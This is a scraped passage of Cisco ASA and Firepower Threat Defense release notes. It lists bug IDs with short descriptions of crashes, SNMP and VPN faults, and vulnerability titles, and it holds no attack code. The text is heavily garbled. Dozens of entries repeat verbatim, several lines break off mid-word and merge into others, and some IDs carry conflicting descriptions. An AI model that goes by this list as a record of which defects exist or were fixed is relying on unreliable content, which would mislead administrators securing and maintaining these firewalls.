servers CSCvz51258 show tech-support output can be confusing when there crashinfo, need to clean up/make more intuitive CSCvz5125849 FTD Traceback and Reload on process LINA CSCvz57710 conft is converted to disk0:/t under context-config mode CSCvz58710 ASA traceback due to SCTP traffic. CSCvz60970 ASA Traceback on DATAPATH when handling ICMP error message CSCvz64470 ASA/FTD Traceback and reload due to memory corruption when generating ICMP unreachable message CSCvz6795 ASA traceback and reload in SSH process when executing the command "show access-list" CSCvz67003 ASDM session count and quota management's count mismatch. 'Lost connection firewall' msg in ASDM CSCvz67816 IPV6 DNS PTR query getting modified on FTD CSCvz68336 SSL decryption not working due to single connection on multiple in-line pairs CSCvz69571 ASA log shows wrong value of the transferred data
after the anyconnect session terminated. CSCvz70595 Traceback observed on ASA while handling SAML handler CSCvz70595 Traceback observed on ASA while handling SAML handler CSCvz70595 Traceback observed on ASA while handling SAML handler CSCvz70595 Traceback observed on ASA while handling SAML handler CSCvz70595 Traceback observed on ASA while handler CSCvz70595 Traceback observed on ASA whi Traceback in Thread Name: DATAPATH CSCvz73709 ASA/FTD Standby unit fails to join HA CSCvz75988 Inconsistent logging timestamp with RFC5424 enabled CSCvz76966 Cisco Adaptive Security Appliance Software and Firepower Threat Defense Software DNS DoS CSCvz77744 OSPFv3: FTD Wrong "Forwarding address" added in ospfv3 database CSCvz84850 ASA/FTD traceback and reload caused by "timer services" function CSCvz86256 Primary ASA should send GARP as soon as split-brain is detected and peer becomes cold standby CSCvz89126 ASDM session/quota count mismatch in ASA when multiple context switchover is done from ASDM CSCvz89327 OSPFv2 flow missing cluster centralized "c" flag CSCvz89545 SSL VPN performance degraded and significant stability issues after upgrade CSCvz90375 Low available DMA memory on ASA 9.14 at boot considerably reduces AnyConnect sessions supported CSCvz90722 With object-group in crypto ACL sum of hitch mismatches with the individual elements CSCvz91218 Statelink hello messages dropped on Standby unit due to interface ring drops on high rate traffic CSCvz92016 ASA Privilege Escalation with valid user in AD CSCvz92932 ASA show tech execution causing spike on CPU and impacting to IKEv2 sessions CSCvz94153 NTP sync on IPV6 will fail if the IPV4 address is not configured CSCvz95108 FTD Deployment failure post upgrade due to major version change on device CSCvz96462 IP Address 'in use' though no VPN sessions CSCvz96462 IP Address 'in use' though no VPN sess unresolved and dropping packet with asp-drop reason "No route to host" CSCwa03347 IPv6 PIM packets are dropped in ASP with invalid-ip-length drop reason CSCwa04461 Cisco ASA Software Remote Access SSL VPN Denial of Service CSCwa04461 Cisco ASA Software Remote Access SSL VPN Denial of Service CSCwa04461 Cisco ASA Software Remote Access SSL VPN Denial of Service CSCwa04461 Cisco ASA Software Remote Access SSL VPN Denial of Service CSCwa04461 Cisco ASA Software Remote Access SSL VPN Denial of Service CSCwa04461 Cisco ASA Software Remote Access SSL VPN Denial of Service CSCwa04461 Cisco ASA Software Remote Access SSL VPN Denial of Service CSCwa04461 Cisco ASA Software Remote Access SSL VPN Denial of Service CSCwa04461 Cisco ASA Software Remote Access SSL VPN Denial of Service CSCwa04461 Cisco ASA Software Remote Access SSL VPN Denial of Service CSCwa04461 Cisco ASA Software Remote Access SSL VPN Denial of Service CSCwa04461 Cisco ASA Software Remote Access SSL VPN Denial of Service CSCwa04461 Cisco ASA Software Remote Access SSL VPN Denial of Service CSCwa04461 Cisco ASA Software Remote Access SSL VPN Denial of Service CSCwa04461 Cisco ASA Software Remote Access SSL VPN Denial of Service CSCwa04461 Cisco ASA Software Remote Access SSL VPN Denial of Service CSCwa04461 Cisco ASA Software Remote Access SSL VPN Denial of Service CSCwa04461 Cisco ASA Software Remote Access SSL VPN Denial of Service CSCwa04461 Cisco ASA Software Remote Access SSL VPN Denial of Service CSCwa04461 Cisco ASA Software Remote Access SSL VPN Denial of Service CSCwa04461 Cisco ASA Software Remote Access SSL VPN Denial of Service CSCwa04461 Cisco ASA Software Remote Access SSL VPN Denial of Service CSCwa04461 Cisco ASA Software Remote Access SSL VPN Denial of Service CSCwa04461 Cisco ASA Software Remote Access SSL under the tunnel-group CSCwa11052 SNMP Stopped Responding After Upgrading to Version- 9.14(2)15 CSCwa14485 Cisco Firepower Threat Defense Software Denial of Service Vulnerability CSCwa14725 ASA/FTD traceback and reload on IKE Daemon Thread CSCwa15185 ASA/FTD: remove unwanted process call from LUA CSCwa18858 ASA drops non DNS traffic with reason "label length 164 bytes exceeds protocol limit of 63 bytes" CSCwa19443 Flow Offload - Compare state values remains in error state for longer periods CSCwa19713 Traffic dropped by ASA configured with BVI interfaces due to asp drop type "no-adjacency" CSCwa28822 FTD moving UI management from FDM to FMC causes traffic to fail CSCwa36672 when using a range of ports in an object service CSCwa3898 Cisco Adaptive Security Appliance Software Clientless SSL VPN Heap Overflow Vulnerability CSCwa36672 ASA on FPR4100 traceback and reload when running captures using ASDM CSCwa36678 Random FTD traceback during deployment from FMC CSCwa40719 Traceback: Secondary firewall reloading in Threadname: fover_parse CSCwa41834 ASA/FTD traceback and reload due to pix_startup_thread CSCwa55878 FTD Service Module Failure: False alarm of "ND may have gone down" CSCwa58686 ASA/FTD Change in OGS compilation behavior causing boot loop The following table lists select resolved bugs at the time of this Release Note publication. Caveat ID Number Description CSCvg69380 ASA - rare cp processing corruption causes console lock CSCvh19737 HTTPS access on FTD data interface (off-box management) is failing CSCvm82290 ASA core blocks depleted when host unreachable in IRB/TFW configuration CSCvp28713 Input/Output interfaces in packet tracer RESULT are shown as "UNKNOWN" CSCvp69936 ASA : Traceback on tcp intercept Thread name : Threat detection CSCvr98396 ASA: crypto session handles leak on the standby unit CSCvr77005 Traffic does not fallback to primary interface from crypto map when interface becomes available CSCvr85295 Cisco Adaptive Security Appliance Software and Firepower Threat Defense Software Remote CSCvs13204 ASAv failover traffic on SR-IOV interfaces might be dropped due to interface-down CSCvs72450 FXOS - Recover hwclock of service module from corruption due to simultaneous write collision CSCvs82926 Critical RPM alert on FRP 1000 and FPR2100 Series with ASA 'Chassis 0 Cooling Fan OK' SCH message CSCvs84542 ASA traceback with thread: idfw_proc CSCvt10944 ctm crashed while sending emix traffic over VTI tunnel CSCvt92077 Ping Failure on ASAv 9.13 after CAT9k reboot CSCvt97205 SNMPPOLL/SNMPTRAP to remote end (site-to-site vpn) ASA interface fails on ASA 9.14.1 CSCvu33992 traceback: ASA reloaded lina sigcrash+1394 CSCvu33992 traceback in datapath after enabling SSL decryption policy CSCvv00719 Access Control Policy with time range object is not getting hit CSCvv02925 OSPF neighbourship is not establising CSCvv07917 ASA learning a new route removes asp route table created by floating static CSCvv10778 Traceback in threadname DATAPATH (5585) or Lina (2100) after upgrade to 9.12.4 CSCvv15572 ASA traceback observed when "config-url" is entered while creating new context CSCvv17585 Netflow template not sent under certain circumstances CSCvv1 CSCvv30172 Intermittently after reboot, ADI can't join KCD CSCvv32333 ASA still doesn't allow to poll internal-data0/0 counters via SNMP in multiple mode CSCvv37629 Malformed SIP packets leads to 4k block hold-up till SIP conn timeout causing probable traffic issue CSCvv49698 ASA Anyconnect url-redirect not working for ipv6 CSCvv49609 ASA/FTD: HA switchover doesn't happen with graceful reboot of firepower chassis CSCvv50338 Traceback Cluster unit on snpi_nat_xlate_destroy+2508 CSCvv52591 DMA memory leak in ctm_hw_malloc_from_pool causing management and VPN connections to fail CSCvv53696 ASA/FTD traceback and reload during AAA or CoA task of Anyconnect user CSCvv55291 Snmp user fails on standby device after rejoing ha, after ha break. CSCvv56644 Cisco Adaptive Security Appliance Software and Firepower Threat Defense Software Web DoS CSCvv63322 ASA/FTD is reading BGP MP REACH NLRI attribute's next-hop bytes in reverse order CSCvv62305 ASA traceback and reload in fover parse when attempting to join the failover pair. CSCvv63412 ASA dropping all traffic with reason "No route to host" when tmatch compilation is ongoing CSCvv64068 After modify network/service object name. mis-match will occur on hash value of ACL in syslog. CSCvv66005 ASA traceback and reload on inspect esmtp CSCvv66920 Inner flow: U-turn GRE flows
trigger incorrect connection flow creation CSCvv67196 FTD does not try all the crl urls for getting crl file CSCvv67398 Inspect-snmp drops thru-the-box snmp paks if snmp is disabled CSCvv67500 ASA 9.12 random traceback and reload in DATAPATH CSCvv68669 Traffic to virtual IP address dropped on system context of Master ASA due to failed classification CSCvv69991 FTD stuck in Maintenance Mode after upgrade to 6.6.1 CSCvv70984 ASA traceback while modifying the bookmark SSL Ciphers configuration CSCvv70984 ASA traceback while modifying the ASA CSCvv73017 Traceback due to fover and ssh thread CSCvv86861 Traceback leads to the purg process CSCvv85029 ASA5555 traceback and reload on Thread Name: ace work CSCvv86926 Unexpected traceback and reload on Thread Name: ace work CSCvv86861 Traceback during SNMP traffic testing CSCvv86926 Unexpected traceback and reload on Thread Name: ace work CSCvv86926 Unexpected traceback and reload on Thread Name: ace work CSCvv86926 Unexpected traceback and reload on Thread Name: ace work CSCvv86926 Unexpected traceback and reload on Thread Name: ace work CSCvv86926 Unexpected traceback and reload on Thread Name: ace work CSCvv86926 Unexpected traceback and reload on Thread Name: ace work CSCvv86926 Unexpected traceback and reload on Thread Name: ace work CSCvv86926 Unexpected traceback and reload on Thread Name: ace work CSCvv86926 Unexpected traceback and reload on Thread Name: ace work CSCvv86926 Unexpected traceback and reload on Thread Name: ace work CSCvv86926 Unexpected traceback and reload on Thread Name: ace work CSCvv86926 Unexpected traceback and reload on Thread Name: ace work CSCvv86926 Unexpected traceback and reload on Thread Name: ace work CSCvv86926 Unexpected traceback and reload on Thread Name: ace work CSCvv86926 Unexpected traceback and reload on Thread Name: ace work CSCvv86926 Unexpected traceback and reload on Thread Name: ace work CSCvv86926 Unexpected traceback and reload on Thread Name: ace work CSCvv86926 Unexpected traceback and reload on Thread Name: ace work CSCvv86926 Unexpected traceback and reload on Thread Name: ace work CSCvv86926 Unexpected traceback and reload on Thread Name: ace work CSCvv86926 Unexpected traceback and reload on Thread Name: ace work CSCvv86926 Unexpected traceback and reload on Thread Name: ace work CSCvv86926 Unexpected traceback and reload on Thread Name: ace work CSCvv86926 Unexpected traceback and reload on Thread Name: ace work CSCvv86926 Unexpected traceback and reload on Thread Name: ace work CSCvv86926 Unexpected traceback and reload on Thread Name: ace work igb saleen io sfp mod poll thread process CSCvv87496 ASA cluster members 2048 block depletion due to "VPN packet redirect on peer" CSCvv89400 ASA SNMPv3 Poll fails when using AES 256 CSCvv89708 ASA/FTD may traceback in thread name fover FSM thread and reload CSCvv90181 No deployment failure reason in transcript if 'show running-config' is running during deployment CSCvv90181 No deployment failure reason in transcript if 'show running-config' is running during deployment failure reason in transcript if 'show running-config' is running during deployment CSCvv90181 No deployment failure reason in transcript if 'show running-config' is running during deployment failure reason in transcript if 'show running-config' is running during deployment failure reason in transcript if 'show running-config' is running during deployment CSCvv90181 No deployment failure reason in transcript if 'show running-config' is running during deployment failure reason in transcript if 'show running-config' is running during deployment failure reason in transcript if 'show running-config' is running during deployment failure reason in transcript if 'show running-config' is running during deployment failure reason in transcript if 'show running-config' is running during deployment failure reason in transcript if 'show running-config' is running during deployment failure reason in transcript if 'show running-config' is running during deployment failure reason in transcript if 'show running-config' is running during deployment failure reason in transcript if 'show running-config' is running during duri CPU spikes on snmpd process CSCvv94701 ASA keeps reloading with "octnic_hm_thread". After the reload, it takes very long time to recover. CSCvv96193 ASA/FTD debugs do not print clear failure reason when no proposal is chosen CSCvv96193 ASA/FTD debugs do not print clear failure reason when no proposal is chosen CSCvv96193 ASA/FTD debugs do not print clear failure reason when no proposal is chosen CSCvv96193 ASA/FTD debugs do not print clear failure reason when no proposal is chosen CSCvv96193 ASA/FTD debugs do not print clear failure reason when no proposal is chosen CSCvv96193 ASA/FTD debugs do not print clear failure reason when no proposal is chosen CSCvv96193 ASA/FTD debugs do not print clear failure reason when no proposal is chosen CSCvv96193 ASA/FTD debugs do not print clear failure reason when no proposal is chosen CSCvv96193 ASA/FTD debugs do not print clear failure reason when no proposal is chosen CSCvv96193 ASA/FTD debugs do not print clear failure reason when no proposal is chosen CSCvv96193 ASA/FTD debugs do not print clear failure reason when no proposal is chosen CSCvv96193 ASA/FTD debugs do not print clear failure reason when no proposal is chosen CSCvv96193 ASA/FTD debugs do not print clear failure reason when no proposal is chosen CSCvv96193 ASA/FTD debugs do not print clear failure reason when no proposal is chosen CSCvv96193 ASA/FTD debugs do not print clear failure reason when no proposal is chosen CSCvv96193 ASA/FTD debugs do not print clear failure reason when no proposal is chosen CSCvv96193 ASA/FTD debugs do not print clear failure reason when no proposal is chosen CSCvv96193 ASA/FTD debugs do not print clear failure reason when no proposal is chosen CSCvv96193 ASA/FTD debugs do not print clear failure reason when no proposal is chosen CSCvv96193 ASA/FTD debugs do not print clear failure reason when no proposal is chosen CSCvv96193 ASA/FTD debugs do not print clear failure reason when no proposal is chosen CSCvv96193 ASA/FTD debugs do not print clear failure reason when no proposal is c firepower 2140 CSCvw03628 ASA will not import CA certificate with name constraint of RFC822Name set as empty CSCvw06195 ASA traceback cp midpath process in Shared Interfaces of different Contexts causing traffic impact CSCvw07000 Snort busy drops with PDTS Tx queue stuck CSCvw12008 ASA traceback and reload while executing "show tech-support" command CSCvw12100 ASA stale VPN Context seen for site to site and AnyConnect sessions CSCvw16619 Offloaded traffic not failed over to secondary route in ECMP setup CSCvw18614 ASA traceback in the LINA process CSCvw22881 radius rcv auth can shoot up control plane CPU to 100%. CSCvw22886 Secondary unit stuck in Bulk sync infinitely due to interface of Primary stuck in init state CSCvw23199 ASA/FTD Traceback and reload in Thread Name: Logger CSCvw26371 ASA syslog traceback while strncpy NULL string passed from SSL library CSCvw26331 ASA traceback and reload on Thread Name: ci/console CSCvw26544 Cisco ASA and FTD Software SIP Denial of Service Vulnerability CSCvw27301 IKEv2 with EAP, MOBIKE status fails to be processed. CSCvw30252 ASA/FTD may traceback and reload due to memory corruption in SNMP CSCvw31569 Director/Backup flows are left behind and traffic related to this flow is blackholed CSCvw32518 ASASM traceback and reload after upgrade up to 9.12(4)4 and higher CSCvw37259 VPN syslogs are generated at a rate of 600/s until device goes into a hang state CSCvw37807 Ipsec Send Error Increasing When NTP Authenticate is Enabled CSCvw42999 9.10.1.11 ASA on FPR2110 traceback and reloads randomly CSCvw43486 ASA/FTD Traceback and reload during PBR configuration change CSCvw43486 ASA/FTD Traceback and reload during PBR configuration change CSCvw43486 ASA/FTD Traceback and reload during PBR configuration change CSCvw43486 ASA/FTD Traceback and reload during PBR configuration change CSCvw43486 ASA/FTD Traceback and reload during PBR configuration change CSCvw43486 ASA/FTD Traceback and reload during PBR configuration change CSCvw43486 ASA/FTD Traceback and reload during PBR configuration change CSCvw43486 ASA/FTD Traceback and reload during PBR configuration change CSCvw43486 ASA/FTD Traceback and reload during PBR configuration change CSCvw43486 ASA/FTD Traceback and reload during PBR configuration change CSCvw43486 ASA/FTD Traceback and reload during PBR configuration change CSCvw43486 ASA/FTD Traceback and reload during PBR configuration change CSCvw43486 ASA/FTD Traceback and reload during PBR configuration change CSCvw43486 ASA/FTD Traceback and reload during PBR configuration change CSCvw43486 ASA/FTD Traceback and reload during PBR configuration change CSCvw43486 ASA/FTD Traceback and reload during PBR configuration change CSCvw43486 ASA/FTD Traceback and reload during PBR configuration change CSCvw43486 ASA/FTD Traceback and reload during PBR configuration change CSCvw43486 ASA/FTD Traceback and reload during PBR configuration change CSCvw43486 ASA/FTD Traceback and reload during PBR configuration change CSCvw43486 ASA/FTD Traceback and reload during PBR configuration change CSCvw43486 ASA/FTD Traceback and reload during PBR configuration change CSCvw43486 ASA/FTD Traceback and reload during PBR configuration change CSCvw43486 ASA/FTD Traceback and reload during PBR configuration change CSCvw43486 ASA/FTD Traceback and reload during PBR configuration change CSCvw43486 ASA/FTD Traceback and reload during PBR configuration change CSCvw43486 ASA/FTD Traceback and reload during PBR configuratin CSCvw46630 FTD: NLP path dropping return ICMP destination unreachable messages CSCvw47321 IPSec transport mode traffic corruption for inbound traffic for some FPR platforms CSCvw50679 ASA/FTD may traceback and reload during upgrade CSCvw51307 ASA/FTD traceback and reload in
process name "Lina" CSCvw51462 IPv4 Default Tunneled Route Rejected CSCvw51745 RIP database not populated with SLA monitored static route that was re added in the routing table. CSCvw51950 FPR 4K: SSL trust-point removed from new active ASA after manual Failover CSCvw51985 ASA: AnyConnect sessions canno be resumed due to ipv6 DACL failure CSCvw52609 Cisco ASA and FTD Software Web Services Buffer Overflow Denial of Service Vulnerability CSCvw53427 ASA Fails to process HTTP POST with SAML assertion containing multiple query parameters CSCvw53796 Cisco ASA and FTD Web Services Interface Cross-Site Scripting Vulnerability CSCvw56406 FPR-4150 - ASA traceback and reload with thread name DATAPATH CSCvw56703 IPv6 static routes not getting installed, upon changing ifc type management-only CSCvw58414 Name of anyconnect custom attribute of type dynamicsplit-exclude-domains is changed after reload CSCvw59035 Connection issues to directly connected IP from FTD BVI address CSCvw60177 Standby/Secondary cluster unit might crash in Thread Name: fover parse and "cluster config sync" CSCvw62526 ASA traceback and reload on engineering ASA build - 9.12.3.237 CSCvw62528 ASA failing to sync with IPv6 NTP server CSCvw63862 ASA: Random L2TP users cannot access resources due to stale ACL filter entries CSCvw64623 Standby ASA traceback and reload in Thread: Ikev2 Daemon CSCvw74940 ASA traceback in IKE Daemon and reload CSCvw77930 ASA fails to process SAML assertion when tunnel-group name contains "." CSCvw81897 ASA: OpenSSL Vulnerability CVE-2020-1971 CSCvw83572 BVI HTTP/SSH access is not working in versions 9.14.1.30 or above CSCvw83780 FTD Firewall may traceback and reload when modifying ACLs CSCvw84339 Managed device backup fails, for FTD, if hostname exceeds 30 characters CSCvw87788 ASA traceback and reload on Thread name snmp alarm thread CSCvw87788 ASA traceback and reload during certificate changes. CSCvw90151 PPPOE - ASA sends CONFACK for non-configured protocol CSCvw94988 S2S traffic fails due to missing V routes after Primary cluster unit gets disabled CSCvw95301 ASA traceback and reload with Thread name: ssh when capture was removed CSCvw96488 Traceback in inspect h323 ras+1810 CSCvw97821 ASA: VPN traffic does not pass if no dACL is provided in CoA CSCvw98840 ASA: dACL with no IPv6 entries is not applied to v6 traffic after CoA CSCvw99916 ASAv: SNMP result for used memory value incorrect after upgrade to 9.14 CSCvx02869 Traceback in Thread Name: Lic TMR CSCvx03764 Offload rewrite data needs to be fixed for identity nat traffic and clustering environment CSCvx04057 When SGT name is unresolved and used in ACE, line is not being ignored/inactive CSCvx04643 ASA reload is removing 'content-security-policy' config CSCvx06385 Fail-to-wire ports in FPR 2100 flapping after upgrade to 6.6.1 CSCvx08734 ASA: default IPv6/IPv4 route tunneled does not work CSCvx09248 SNMP walk for v2 and v3 fails with No Such Object available on this agent at this OID is seen CSCvx09535 ASA Traceback: CRL check for an Anyconnect client with a revoked certificate triggers reload CSCvx0910110 Last transaction timestamp status "unknown" for active LDAP AAA server CSCvx10841 Not able to Advertise/Redistribute VXLAN/VNI interface subnet using EIGRP CSCvx11295 ASA may traceback and reload on thread CSCvx13694 ASA/FTD traceback in Thread Name: PTHREAD-4432 CSCvx15040 DHCP Proxy Offer is getting drop on the ASA/FTD CSCvx16592 FTD doesn't redirect packets to the WCCP web-cache engine when VRF's are configured CSCvx17664 ASA may traceback and reload in Thread Name 'webvpn task' CSCvx17780 FPR-2100-ASA : SNMP Walk for ifType is showing "other" for ASA interfaces in the latest versions CSCvx17842 Prevent lina from traceback due to object loop sent by FMC. Fail the deployment instead. CSCvx20303 ASA/FTD Traceback and adding snmpv3 at a time in 6.6.3 CSCvx20303 ASA/FTD Traceback and adding snmpv3 at a time in 6.6.3 CSCvx20303 ASA/FTD Traceback and adding snmpv3 at a time in 6.6.3 CSCvx20872 ASA/FTD Traceback and adding snmpv3 at a time in 6.6.3 CSCvx20872 ASA/FTD Traceback and adding snmpv3 at a time in 6.6.3 CSCvx20872 ASA/FTD Traceback and adding snmpv3 at a time in 6.6.3 CSCvx20872 ASA/FTD Traceback and adding snmpv3 at a time in 6.6.3 CSCvx20872 ASA/FTD Traceback and adding snmpv3 at a time in 6.6.3 CSCvx20872 ASA/FTD Traceback and adding snmpv3 at a time in 6.6.3 CSCvx20872 ASA/FTD Traceback and adding snmpv3 at a time in 6.6.3 CSCvx20872 ASA/FTD Traceback and adding snmpv3 at a time in 6.6.3 CSCvx20872 ASA/FTD Traceback and adding snmpv3 at a time in 6.6.3 CSCvx20872 ASA/FTD Traceback and adding snmpv3 at a time in 6.6.3 CSCvx20872 ASA/FTD Traceback and adding snmpv3 at a time in 6.6.3 CSCvx20872 ASA/FTD Traceback and adding snmpv3 at a time in 6.6.3 CSCvx20872 ASA/FTD Traceback and adding snmpv3 at a time in 6.6.3 CSCvx20872 ASA/FTD Traceback and adding snmpv3 at a time in 6.6.3 CSCvx20872 ASA/FTD Traceback and adding snmpv3 at a time in 6.6.3 CSCvx20872 ASA/FTD Traceback and adding snmpv3 at a time in 6.6.3 CSCvx20872 ASA/FTD Traceback and adding snmpv3 at a time in 6.6.3 CSCvx20872 ASA/FTD Traceback and adding snmpv3 at a time in 6.6.3 CSCvx20872 ASA/FTD Traceback and adding snmpv3 at a time in 6.6.3 CSCvx20872 ASA/FTD Traceback and adding snmpv3 at a time in 6.6.3 CSCvx20872 ASA/FTD Traceback and adding snmpv3 at a time in 6.6.3 CSCvx20872 ASA/FTD Traceback and adding snmpv3 at a time in 6.6.3 CSCvx20872 ASA/FTD Traceback and adding snmpv3 at a time in 6.6.3 CSCvx20872 ASA/FTD Traceback and adding snmpv3 at a time in 6.6.3 CSCvx20872 ASA/FTD Traceback and adding snmpv3 at a time in 6.6.3 CSCvx20872 ASA/FTD Traceback and adding snmpv3 at a time in 6.6.3 CSCvx20872 ASA/FTD Trac reload due to netflow refresh timer CSCvx22695 ASA traceback and reload during OCSP response data cleanup CSCvx23833 IKEv2 rekey - Invalid SPI for ESP packet is of size > the MTU of the packet is of size > the matched is of size > the m Frame-Options header is not set in webvpn response pages CSCvx25836 ASA traceback and reload due to "show crashinfo" adding a new output log CSCvx26221 Traceback into snmp at handle agentx packet / snmp takes long time to come up on FP1k and 5508 CSCvx26308 ASA traceback and reload due to stropy s: source string too long for dest CSCvx26808 FTD traceback and reload on process lina on FPR2100 series CSCvx2971 Firewall CPU can increase after a bulk routing update with flow offload CSCvx29814 IP address in DHCP GIADDR field is reversed after sending DHCP DECLINE to DHCP server CSCvx30314 ASA 9.15.1.7 traceback and reload in ssl midpath CSCvx34237 ASA reload with FIPS failure CSCvx38124 Core-local block alloc failure on cores where CP is pinned leading to drops CSCvx42081 FPR4150 ASA Standby Ready unit Loops to failed and remove config to install it again CSCvx42197 ASA EIGRP route stuck after neighbour disconnected CSCvx44401 FTD/ASA traceback and reload in Threadname: vnet-proxy (rip: socks proxy datarelay) CSCvx47230 X-Frame-Options header support for older versions of IE and windows platforms CSCvx50366 Traceback in Thread Name: fover health monitoring thread CSCvx52122 ASA traceback and reload in SNMP Notify Thread while deleting transparent context CSCvx54235 ASP capture dispatch queue-limit shows no packets CSCvx54396 Deployment failures on FTD when multicast is enabled. CSCvx54606 FTD 6.6.1/6.7.0 is sending SNMP Ifspeed OID (1.3.6.1.2.1.2.2.1.5) response value = 0 CSCvx54606 FTD 6.6.1/6.7.0 is sending SNMP Ifspeed OID (1.3.6.1.2.1.2.2.1.5) response value = 0 CSCvx54606 FTD 6.6.1/6.7.0 is sending SNMP Ifspeed OID (1.3.6.1.2.1.2.2.1.5) response value = 0 CSCvx54606 FTD 6.6.1/6.7.0 is sending SNMP Ifspeed OID (1.3.6.1.2.1.2.2.1.5) response value = 0 CSCvx54606 FTD 6.6.1/6.7.0 is sending SNMP Ifspeed OID (1.3.6.1.2.1.2.2.1.5) response value = 0 CSCvx54606 FTD 6.6.1/6.7.0 is sending SNMP Ifspeed OID (1.3.6.1.2.1.2.2.1.5) response value = 0 CSCvx54606 FTD 6.6.1/6.7.0 is sending SNMP Ifspeed OID (1.3.6.1.2.1.2.2.1.5) response value = 0 CSCvx54606 FTD 6.6.1/6.7.0 is sending SNMP Ifspeed OID (1.3.6.1.2.1.2.2.1.5) response value = 0 CSCvx54606 FTD 6.6.1/6.7.0 is sending SNMP Ifspeed OID (1.3.6.1.2.1.2.2.1.5) response value = 0 CSCvx54606 FTD 6.6.1/6.7.0 is sending SNMP Ifspeed OID (1.3.6.1.2.1.2.2.1.5) response value = 0 CSCvx54606 FTD 6.6.1/6.7.0 is sending SNMP Ifspeed OID
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unable to import CA certificate when countryName is encoded as UTF8 CSCvx68951 ASA responds with "00 00 00 00" when polling interface physical address using snmp CSCvx68405 ASA - unable to import CA certificate when countryName is encoded as UTF8 CSCvx68405 ASA - unable to import CA certificate when countryName is encoded as UTF8 CSCvx68405 ASA - unable to import CA certificate when countryName is encoded as UTF8 CSCvx68405 ASA - unable to import CA certificate when countryName is encoded as UTF8 CSCvx68405 ASA - unable to import CA certificate when countryName is encoded as UTF8 CSCvx68405 ASA - unable to import CA certificate when countryName is encoded as UTF8 CSCvx68405 ASA - unable to import CA certificate when countryName is encoded as UTF8 CSCvx68405 ASA - unable to import CA certificate when countryName is encoded as UTF8 CSCvx68405 ASA - unable to import CA certificate when countryName is encoded as UTF8 CSCvx68405 ASA - unable to import CA certificate when countryName is encoded as UTF8 CSCvx68405 ASA - unable to import CA certificate when countryName is encoded as UTF8 CSCvx68405 ASA - unable to import CA certificate when countryName is encoded as UTF8 CSCvx68405 ASA - unable to import CA certificate when countryName is encoded as UTF8 CSCvx68405 ASA - unable to import CA certificate when countryName is encoded as UTF8 CSCvx68405 ASA - unable to import CA certificate when countryName is encoded as UTF8 CSCvx68405 ASA - unable to import CA certificate when countryName is encoded as UTF8 CSCvx68405 ASA - unable to import CA certificate when countryName is encoded as UTF8 CSCvx68405 ASA - unable to import CA certificate when countryName is encoded as UTF8 CSCvx68405 ASA - unable to import CA certificate when countryName and reload in Thread Name: pix startup thread due to asa run ttyS0 script CSCvx71571 ASA: "ERROR: Unable to delete entries from Hash Table" with CSM CSCvx72904 Optimise ifmib polls CSCvx73164 Lasso SAML Implementation Vulnerability Affecting Cisco Products: June 2021 CSCvx75503 Re-transmitted SYN are not inspected by inspection engine CSCvx75963 ASA traceback while taking captures CSCvx87679 Failover license count not synced with unexpected IP from the data interface CSCvx85534 SNMP traps being sent out sourced with unexpected IP from the data interface CSCvx85534 SNMP traps being sent out sourced with unexpected IP from the data interface CSCvx85534 SNMP traps being sent out sourced with unexpected IP from the data interface CSCvx85534 SNMP traps being sent out sourced with unexpected IP from the data interface CSCvx85534 SNMP traps being sent out sourced with unexpected IP from the data interface CSCvx85534 SNMP traps being sent out sourced with unexpected IP from the data interface CSCvx85534 SNMP traps being sent out sourced with unexpected IP from the data interface CSCvx85534 SNMP traps being sent out sourced with unexpected IP from the data interface CSCvx85534 SNMP traps being sent out sourced with unexpected IP from the data interface CSCvx85534 SNMP traps being sent out sourced with unexpected IP from the data interface CSCvx85534 SNMP traps being sent out sourced with unexpected IP from the data interface CSCvx85534 SNMP traps being sent out sourced with unexpected IP from the data interface CSCvx85534 SNMP traps being sent out sourced with unexpected IP from the data interface CSCvx85534 SNMP traps being sent out sourced with unexpected IP from the data interface CSCvx85534 SNMP traps being sent out sourced with unexpected IP from the data interface CSCvx85534 SNMP traps being sent out sourced with unexpected IP from the data interface CSCvx85534 SNMP traps being sent out sourced with unexpected IP from the data interface CSCvx85534 SNMP traps being sent out sourced with unexpected IP from the data interface CSCvx85534 SNMP traps being sent out sourced with unexpected IP from the data interface CSCvx85534 SNMP traps being sent out sourced with unexpected IP from the data interface CSCvx85534 SNMP traps being sent out sourced with unexpected IP from the data interface CSCvx85534 SNMP traps being sent out sourced with unexpe to standby firewall. CSCvx87709 FPR 2100 running ASA in HA. Traceback and reload on watchdog during failover CSCvx88683 ASA not replicating BGP password correctly to standby unit CSCvx94326 VPN Load Balancing may get stuck and disconnect from the group CSCvx94398 Secondary ASA could not get the startup configuration CSCvx95255 Supportive change in ASA to differentiate, new ASDM connections from existing ASDM context switch CSCvy07632 ASA crashes when copying files with long destination filenames using cluster command CSCvy01752 Tracebacks on FPR 4115 in Thread - Lic HA Cluster CSCvy02703 ASA/FTD tracebacks due to CTM message handler CSCvy03006 improve debugging capability for uauth CSCvv04869 AnyConnect certificate authentication fails if user certificate has 8192 bits key size CSCvv07491 ASA traceback when re-configuring access-list CSCvv07491 ASA traceback and reload in Thread Name 'DATAPATH-15-14815' The following table lists select resolved bugs at the time of this Release Note publication. Caveat ID Number Description CSCuw51499 TCM doesn't work for ACE addition/removal, ACL object/object-group edits CSCvh19161 ASA/FTD traceback and reload in Thread Name: SXP CORE CSCvk51778 "show inventory" (or) "show environment" on ASA 5515/5525/5545/5555 shows up Driver/ioctl error logs CSCvn64647 ASA traceback and reload on Thread Name SSH CSCvp47536 AAA reguests on FTD not following V-routes learned from RRI CSCvg47743 AnyConnect and Management Sessions fail to connect after several weeks CSCvr15503 ASA: SSH and ASDM sessions fail to connect after several weeks CSCvr15503 ASA: SSH and ASDM sessions fail to connect after several weeks CSCvr15503 ASA: SSH and ASDM sessions fail to connect after several weeks CSCvr15503 ASA: SSH and ASDM sessions fail to connect after several weeks CSCvr15503 ASA: SSH and ASDM sessions fail to connect after several weeks CSCvr15503 ASA: SSH and ASDM sessions fail to connect after several weeks CSCvr15503 ASA: SSH and ASDM sessions fail to connect after several weeks CSCvr15503 ASA: SSH and ASDM sessions fail to connect after several weeks CSCvr15503 ASA: SSH and ASDM sessions fail to connect after several weeks CSCvr15503 ASA: SSH and ASDM sessions fail to connect after several weeks CSCvr15503 ASA: SSH and ASDM sessions fail to connect after several weeks CSCvr15503 ASA: SSH and ASDM sessions fail to connect after several weeks CSCvr15503 ASA: SSH and ASDM sessions fail to connect after several weeks CSCvr15503 ASA: SSH and ASDM sessions fail to connect after several weeks CSCvr15503 ASA: SSH and ASDM sessions fail to connect after several weeks CSCvr15503 ASA: SSH and ASDM sessions fail to connect after several weeks CSCvr15503 ASA: 